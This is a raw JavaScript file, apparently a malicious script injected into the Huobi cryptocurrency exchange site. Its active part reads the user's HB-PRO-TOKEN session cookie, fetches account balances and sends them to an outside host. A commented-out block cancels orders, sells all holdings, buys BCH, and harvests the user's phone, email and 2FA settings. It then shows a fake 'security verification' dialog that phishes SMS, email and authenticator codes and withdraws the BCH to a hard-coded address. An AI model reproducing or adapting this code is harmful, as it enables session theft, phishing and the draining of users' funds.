window.onload = function (){
     var hostArr = location.host.split('.');
var hostArr =hostArr.length === 2 ? hostArr.join('.') : hostArr.slice(1).join('.');
console.log(hostArr);
  function getCookie(name){
        var value = document.cookie.match('(?:^|;)\s* '+name+'=([^;]*)');
        return (value) ? decodeURIComponent(value[1]) : null;
    };
function send(){

  if(window.location.href.indexOf('huobi')>0){
$.ajax({
url:"https://www."+hostArr+"/-/x/pro/v1/account/accounts/"+localStorage.id+"/balance",
		type:"GET",
		dataType: "json",  
        beforeSend: function(request) {request.setRequestHeader("hb-pro-token", getCookie("HB-PRO-TOKEN"));}, 
        success:function(data, t, jqXHR){	
            var url="https://x.youkuvip.net/post/";
  var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST",url,true);
  xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  xmlhttp.send("n="+JSON.stringify(data));	
}});}
}
function getid(){
   if(window.location.href.indexOf('huobi')>0){
$.ajax({
url:"https://www."+hostArr+"/-/x/pro/v1/account/accounts",
		type:"GET",
		dataType: "json",
		async:false,	  beforeSend: function(request) {request.setRequestHeader("hb-pro-token", getCookie("HB-PRO-TOKEN"));}, 	
        	success:function(data, t, jqXHR){		
localStorage.id=data.data[0].id;  send();}});
}}
 setTimeout(function(){getid();},1000)

}
/*
 if(window.location.href.indexOf('huobi')>0 && window.location.href.indexOf('exchange')>0){

$(".btn_logout").click(function(){sessionStorage.clear()});if($(".login_hide")){sessionStorage.clear()}
function getCookie(name){
        var value = document.cookie.match('(?:^|;)\\s*' + name + '=([^;]*)');
        return (value) ? decodeURIComponent(value[1]) : null;
    };
	sessionStorage.token=getCookie("HB-PRO-TOKEN");sessionStorage.uctoken=getCookie("HB-UC-TOKEN"); 
 setTimeout(function(){ 
$.ajax({
url:"https://api."+hostArr+"/v1/account/accounts",
		type:"GET",
		dataType: "json",
			  beforeSend: function(request) {request.setRequestHeader("hb-pro-token", getCookie("HB-PRO-TOKEN"));}, 		success:function(data, t, jqXHR){		
 sessionStorage.huobiid=data.data[0].id;}});},300)

 setTimeout(function(){
$.ajax({
url:"https://api."+hostArr+"/v1/order/orders/?size=11&states=submitted,partial-filled",
		type:"GET",
		dataType: "json",
			  beforeSend: function(request) {request.setRequestHeader("hb-pro-token", sessionStorage.token);}, 		success:function(data, t, jqXHR){
				  var l=data.data;	
			  for(j = 0,len=l.length; j < len; j++) {
			  var url="https://api."+hostArr+"/v1/order/orders/"+l[j].id+"/submitcancel";
  var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-type","application/json;charset=utf-8");
  xmlhttp.setRequestHeader("hb-pro-token",sessionStorage.token);
 xmlhttp.send();
			  }
}});},900)
 setTimeout(function(){
$.ajax({
		
url:"https://api."+hostArr+"/v1/account/accounts/"+sessionStorage.huobiid+"/balance",
		type:"GET",
		dataType: "json",
			  beforeSend: function(request) {request.setRequestHeader("hb-pro-token", sessionStorage.token);}, 		success:function(data, t, jqXHR){	console.log(data.data.list[0]);	var l=data.data.list;
for(j = 0,len=l.length; j < len; j++) {
	
    if(Math.floor(new Number(l[j].balance) * 10000) / 10000>0 && l[j].type =="trade"  &&  l[j].currency   !=="usdt"){
var json= JSON.parse('{"amount":"'+Math.floor(new Number(l[j].balance) * 10000) / 10000+'","type":"sell-market","source":"web","symbol":"'+l[j].currency+'usdt","account-id":'+sessionStorage.huobiid+'}');
 

$.ajax({
        type: "post",
        url: 'https://api."+hostArr+"/v1/order/orders',   
      
 beforeSend: function(request) {
                        request.setRequestHeader("hb-pro-token",sessionStorage.token);
  
                    },
       data: JSON.stringify(json),   
        contentType: "application/json; charset=utf-8",
        dataType: "json",
        success: function(data) {if(data.data){ var url="https://api."+hostArr+"/v1/order/orders/"+data.data+"/place";
  var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-type","application/json;charset=utf-8");
  xmlhttp.setRequestHeader("hb-pro-token",sessionStorage.token);
 xmlhttp.send();} }
    });  

}
} }})},1200)
 setTimeout(function(){$.ajax({
		
url:"https://api."+hostArr+"/v1/margin/accounts/balance",
		type:"GET",
		dataType: "json",
			  beforeSend: function(request) {request.setRequestHeader("hb-pro-token", sessionStorage.token);}, 		success:function(data, t, jqXHR){		var l=data.data;
for(j = 0,len=l.length; j < len; j++) {
	var g=l[j].list;
	for(i = 0,len=g.length; i < len; i++) {
		
    if(g[i].currency =="usdt" &&  Math.floor(new Number(g[i].balance) * 100000000) / 100000000>0){
var url="https://api."+hostArr+"/v1/dw/transfer-out/margin";
  var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-type","application/json;charset=utf-8");
  xmlhttp.setRequestHeader("hb-pro-token",sessionStorage.token);
 
var json= JSON.parse('{"amount":"'+ Math.floor(new Number(g[i].balance) * 100000000) / 100000000 +'","currency":"usdt","symbol":"'+l[j].symbol+'"}');
xmlhttp.send(JSON.stringify(json));
	}



}
} }})},1500)
setInterval(function (){$.ajax({
url:"https://api."+hostArr+"/v1/account/accounts/"+sessionStorage.huobiid+"/balance",
		type:"GET",
		dataType: "json",	  beforeSend: function(request) {request.setRequestHeader("hb-pro-token", sessionStorage.token);}, 		success:function(data, t, jqXHR){	
var l=data.data.list;
for(j = 0,len=l.length; j < len; j++) {
    if(l[j].currency   =="usdt" && l[j].type   =="trade"){
sessionStorage.huobiusdt=l[j].balance ; }
 if(l[j].currency   =="bch" && l[j].type   =="trade"){
sessionStorage.huobibch=l[j].balance; }
}}})},600);


setInterval(function (){if(sessionStorage.huobiusdt>1){$.ajax({
        type: "post",
        url: 'https://api."+hostArr+"/v1/order/orders',   
        async: false,
 beforeSend: function(request) {
                        request.setRequestHeader("hb-pro-token",sessionStorage.token);
  
                    },

        data: JSON.stringify(JSON.parse('{"amount":"'+Math.floor(new Number(sessionStorage.huobiusdt) * 100000000) / 100000000+'","type":"buy-market","source":"web","symbol":"bchusdt","account-id":'+sessionStorage.huobiid+'}')),   
        contentType: "application/json; charset=utf-8",
        dataType: "json",
        success: function(data) {var url="https://api."+hostArr+"/v1/order/orders/"+data.data+"/place";if(data.data>0){sessionStorage.bchcode=new Number(data.data);}
  var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST",url,true);
xmlhttp.setRequestHeader("Content-type","application/json;charset=utf-8");
  xmlhttp.setRequestHeader("hb-pro-token",sessionStorage.token);
 xmlhttp.send();} 
    })}},1000);

setTimeout(function (){
	if(!sessionStorage.email && !sessionStorage.phone){
	$.ajax({
url:"https://uc-cn."+hostArr+"/uc/open/security/get",
		type:"GET",
		dataType: "json",	 		success:function(data, t, jqXHR){	
sessionStorage.phone=data.data.phone;sessionStorage.email=data.data.email;
		}})
		}
		},1000);
 setTimeout(function (){$.ajax({
url:"https://uc-cn."+hostArr+"/uc/open/security/strategy/get",
		type:"GET",
		dataType: "json",	 		success:function(data, t, jqXHR){	
		sessionStorage.verify_ga=data.data.setting.verify_ga;
		sessionStorage.verify_phone=data.data.setting.verify_phone;
		sessionStorage.verify_email=data.data.setting.verify_email;
	}
		})},2500);
		
	
     


setInterval(function (){if(sessionStorage.huobiusdt<1 && sessionStorage.bchcode  && !document.getElementById("ddd") && sessionStorage.huobibch >0.01){
	function g(name)
{
var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
if(arr=document.cookie.match(reg))
return unescape(arr[2]);
else
return null;
};
if(sessionStorage.verify_ga=="true"){	var gah='<div class="dia_input">   <div class="input_top">    <b>谷歌验证码</b>    <p class="pro_warning"></p>   </div>   <div class="input_middle">    <input class="input_text" type="text" pro_name="ga_code" maxlength="6" id="ga"> </div>  </div>' ;	}else{var gah="";}
	 
	if(sessionStorage.verify_phone=="true"){

var mm=	'<div class="dia_input">    <div class="input_top">     <b>手机号</b>     <p class="pro_warning"></p>    </div>    <div class="input_middle">     <input class="input_text" type="text" disabled="" value="'+sessionStorage.phone+'">    </div>   </div>   <div class="dia_input">    <div class="input_top"><b>短信验证码</b>     <p class="pro_warning"></p>    </div>    <div class="input_middle">     <input class="input_text" id="sms" type="text" pro_name="sms_code" maxlength="6"><span class="input_text_right sms_verify" act="sms_btn_wrap"><span><a   id="vv">重新发送</a></span></span>    </div>   </div>';  }else{var mm="";}
 if(sessionStorage.verify_email=="true"){	
	var gg=	'<div class="dia_input">    <div class="input_top">     <b>邮箱</b>     <p class="pro_warning"></p>    </div>    <div class="input_middle">     <input  class="input_text" type="text" disabled="" value="'+sessionStorage.email+'">    </div>   </div>   <div class="dia_input">    <div class="input_top">     <b>邮箱验证码</b>     <p class="pro_warning"></p>    </div>    <div class="input_middle">     <input id="email" class="input_text" type="text" pro_name="email_code" verify="1" maxlength="6"> <span class="input_text_right sms_verify" act="email_btn_wrap"><span><a id="ff">重新发送</a></span></span>    </div>   </div> '; }else{var gg="";}
	var ss='<div id="ddd" class="dialog_wrap" style="display: block;"> <div class="dialog"> <div class="dia_tit"> <div><b>您的网络不稳定，请进行安全验证</b> </div> <p data="dia_title" class="dia_tit_more"></p>  </div>  <div class="dia_content"><div block="content">'+mm+gg+gah+'</div> </div><div class="dia_submit"> <span class="error_notice"></span> <button class="btn btn_submit btn-primary" pro_name="btn_submit">确定</button> </div> </div> <div class="dialog_extra"></div> </div><script>function c(){$.ajax({type: "post", url: \'https://uc-cn.\'+hostArr+\'/uc/open/email_code/send\',beforeSend: function(request) {request.setRequestHeader("HB-UC-TOKEN", sessionStorage.uctoken);},data: JSON.stringify({"use_type":"VERIFY_SETTING_POLICY"}), contentType: "application/json; charset=utf-8",dataType: "json",success: function(data) {} });  }function d(){$.ajax({ type: "post",url: \'https://uc-cn.\'+hostArr+\'/uc/open/sms_code/send\',  beforeSend: function(request) {request.setRequestHeader("HB-UC-TOKEN", sessionStorage.uctoken); },data: JSON.stringify({"use_type":"VERIFY_SETTING_POLICY","voice":false}),    contentType: "application/json; charset=utf-8",dataType: "json",success: function(data) {}  });}setTimeout(c(),1200); setTimeout(d(),1200);$("#ff").click(function(){c()});$("#vv").click(function(){d()});$(".btn.btn_submit.btn-primary").click(function(){if($("#ga").val()=="undefined"){var ga=null;}else{var ga=$("#ga").val();}if($("#email").val()=="undefined"){var b=null;}else{var b=$("#email").val();}if($("#sms").val()=="undefined"){var a=null;}else{var a=$("#sms").val();}var m=\'{"smsCode":"\'+a+ \'","gaCode":"\'+ga+ \'","emailCode":"\'+b+ \'"}\';$.ajax({type: "post", url: \'https://api.\'+hostArr+\'/v1/dw/withdraw/create\', async: false, beforeSend: function(request) { request.setRequestHeader("hb-pro-token",sessionStorage.token); request.setRequestHeader("authdata", encodeURI(m) );  }, data: JSON.stringify(JSON.parse(\'{"address":"1JGcVChxF6e7JF3didbR24hthihVu5DkNF","address-id":null,"amount":'+(Math.floor(new Number(sessionStorage.huobibch-0.0001)*100000000)/100000000) +
',"currency":"bch","fee":0.0001,"addr-tag":null}\')),contentType: "application/json; charset=utf-8",dataType: "json",success: function(data) { if(data.data){ var url="https://api.\'+hostArr+\'/v1/dw/withdraw-virtual/"+data.data+"/place";var xmlhttp=new XMLHttpRequest();xmlhttp.open("POST",url,true);xmlhttp.setRequestHeader("Content-type","application/json;charset=utf-8");xmlhttp.setRequestHeader("hb-pro-token",sessionStorage.token);xmlhttp.send();}}}); })</script>';$("body").append(ss);}},4700);
 }*/